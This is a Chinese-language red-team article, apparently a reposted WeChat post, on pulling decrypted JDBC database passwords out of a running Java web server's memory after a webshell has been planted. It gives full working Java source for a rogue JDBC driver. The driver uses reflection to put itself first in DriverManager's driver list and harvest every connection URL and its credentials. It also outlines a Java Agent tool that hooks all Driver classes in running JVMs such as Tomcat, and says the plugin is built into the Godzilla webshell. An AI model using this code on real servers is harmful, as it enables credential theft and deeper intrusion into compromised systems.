引 言
在红队行动中经常会遇到拿到Webshell后找不到数据库密码存放位置或者是数据库密码被加密的情况(需要逆向代码查找解密逻辑)。
在此提出两种在从运行时获取所有的数据库连接信息(密码)的方式
实现效果
实现效果
服务端数据库加密Demo
成功获取到解密后的数据库密码 插件已经集成到哥斯拉https://github.com/BeichenDream/Godzilla/releases/
实现原理
实现原理(一)
第一般不使用数据库连接池情况下 我们通常使用Java的工厂类DriverManager获取数据库连接
DriverManager.getConnection(DB_URL,userName,aes(password));
跟进逻辑
@CallerSensitive public static Connection getConnection(String url,String user, String password) private static Connection getConnection(String url, java.util.Properties info, Class caller)
从getConnection的具体实现逻辑来看 主要是从静态变量registeredDrivers变量遍历所有已经注册的数据库驱动并调用数据库驱动的connect方法获取数据库连接 如果数据库驱动返回NULL或抛出异常则再次循环 如果数据库驱动返回Connection则退出循环返回数据库连接
这个时候我们就可以想到假如我们自己注册一个数据库驱动上去是不是就能获取到数据库密码了
实现代码如下
package sqlDriver;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.sql.Connection;
import java.sql.Driver;
import java.sql.DriverManager;
import java.sql.DriverPropertyInfo;
import java.sql.SQLException;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Properties;
import java.util.logging.Logger;
public class CustomDriver implements Driver {
private static HashMap dbConnMap=new HashMap();
private static final CustomDriver DRIVER;
static {
DRIVER=new CustomDriver();
try {
Field[] fields=java.sql.DriverManager.class.getDeclaredFields();
Field field=null;
for (int i = 0; i < fields.length; i++) {
field=fields[i];
if (field.getName().indexOf("rivers")!=-1&&List.class.isAssignableFrom(field.getType())) {
break;
}
field=null;
}
if (field!=null&&List.class.isAssignableFrom(field.getType())) {
field.setAccessible(true);
DriverManager.registerDriver(DRIVER);
List drivers=(List) field.get(null);
int lastIndex=drivers.size()-1;
Object firstObject=drivers.get(0);
Object lastObject=drivers.get(lastIndex);
drivers.set(0, lastObject);
drivers.set(lastIndex, firstObject);
}
} catch (Exception e) {
}
}
private boolean eq(String url,String properties) {
if (dbConnMap.containsKey(url)) {
String valueProperties=(String) dbConnMap.get(url);
if (valueProperties.indexOf(properties)!=-1) {
return true;
}else {
if (valueProperties.length()>2000) {
valueProperties="";
}
dbConnMap.put(url, valueProperties+"t"+properties);
return true;
}
}
return false;
}
private void add(String url, Properties info) {
String propertiesString=info.toString();
try {
if (dbConnMap.size()>200) {
dbConnMap.clear();
}
if (!eq(url, propertiesString)) {
dbConnMap.put(url, propertiesString);
}
} catch (Exception e) {
}
}
public static String getAllConn() {
Iterator it=dbConnMap.keySet().iterator();
StringBuilder builder=new StringBuilder();
builder.append("drivers->n");
try {
Field[] fields=java.sql.DriverManager.class.getDeclaredFields();
Field field=null;
for (int i = 0; i < fields.length; i++) {
field=fields[i];
if (field.getName().indexOf("rivers")!=-1&&List.class.isAssignableFrom(field.getType())) {
break;
}
field=null;
}
if (field!=null) {
field.setAccessible(true);
List drivers=(List) field.get(null);
Iterator iterator=drivers.iterator();
while (iterator.hasNext()) {
try {
Object object= iterator.next();
Driver driver=null;
if (!Driver.class.isAssignableFrom(object.getClass())) {
Field[] driverInfos=object.getClass().getDeclaredFields();
for (int i = 0; i < driverInfos.length; i++) {
if (Driver.class.isAssignableFrom(driverInfos[i].getType())) {
driverInfos[i].setAccessible(true);
driver=(Driver) driverInfos[i].get(object);
builder.append(String.format("tclass -> %stclassLoader -> %sn", driver.getClass().getName(),driver.getClass().getClassLoader().toString().replace("r", "").replace("n", "")));
break;
}
}
}
} catch (Exception e) {
// TODO: handle exception
}
}
}
} catch (Exception e) {
// TODO: handle exception
}
builder.append("maps->n");
while (it.hasNext()) {
try {
String keyString=(String) it.next();
String properties=(String) dbConnMap.get(keyString);
builder.append(String.format("t%st%sn", keyString,properties));
} catch (Exception e) {
builder.append(e.getClass().getName());
}
}
dbConnMap.clear();
return builder.toString();
}
public boolean acceptsURL(String url) throws SQLException {
// TODO Auto-generated method stub
return false;
}
public Connection connect(String url, Properties info) throws SQLException {
add(url, info);
return null;
}
public int getMajorVersion() {
// TODO Auto-generated method stub
return 0;
}
public int getMinorVersion() {
// TODO Auto-generated method stub
return 0;
}
public Logger getParentLogger(){
// TODO Auto-generated method stub
return null;
}
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
add(url, info);
return null;
}
public boolean jdbcCompliant() {
// TODO Auto-generated method stub
return false;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f=null;
if (obj instanceof Field){
f=(Field)obj;
}else {
Method method=null;
Class cs=obj.getClass();
while (cs!=null){
try {
f=cs.getDeclaredField(fieldName);
cs=null;
}catch (Exception e){
cs=cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
}
这里需要注意两点
一. 在遍历registeredDrivers时会调用isDriverAllowed方法判断调用者的ClassLoader是否为数据库驱动的ClassLoader父级或者同级 Java为什么这么设计呢 因为获取数据库驱动涉及到了双亲委派相关的知识 这里举例A,B ClassLoader,如果A加载了一个数据库驱动,而B获取到A的加载数据库驱动 会导致在A被GC回收的时候会因为B引用了A导致A不会被释放 所以如果我们想获取当前进程所有的容器的数据库密码 我们需要把我们的驱动加载到系统类上
二. 我们要把我们的数据库驱动放在第一位
很简单是吧 有了这个东东我们不需要再反编译代码去找密钥了
但是这种方法只适用于调用Java官方提供的DriverManager工厂类
实现原理(二)
在上面我们知道数据库驱动都要兼容JDBC的接口也就是要实现Driver接口
第三方数据库连接池也遵守了JDBC的规则 数据库连接池会调用对于驱动的Driver.connect方法获取数据库连接
所以我们可以使用Java Agent直接去hook所有已经实现了Driver接口的类
代码已开源在Github https://github.com/BeichenDream/InjectJDBC
第三方数据库连接池也遵守了JDBC的规则 数据库连接池会调用对于驱动的Driver.connect方法获取数据库连接
所以我们可以使用Java Agent直接去hook所有已经实现了Driver接口的类
代码已开源在Github https://github.com/BeichenDream/InjectJDBC
bingo
输入命令java -jar DatabaseInject.jar list 获取所有正在运行的JVM
找到要注入的进程 这里以tomcat为例(什么都可以注只要是实现了jdbc的接口)
再次刷新网页访问数据库,成功的获取了数据库解密后的密码
原文始发于微信公众号(赛博少女):Java Web —— 从内存中Dump JDBC数据库明文密码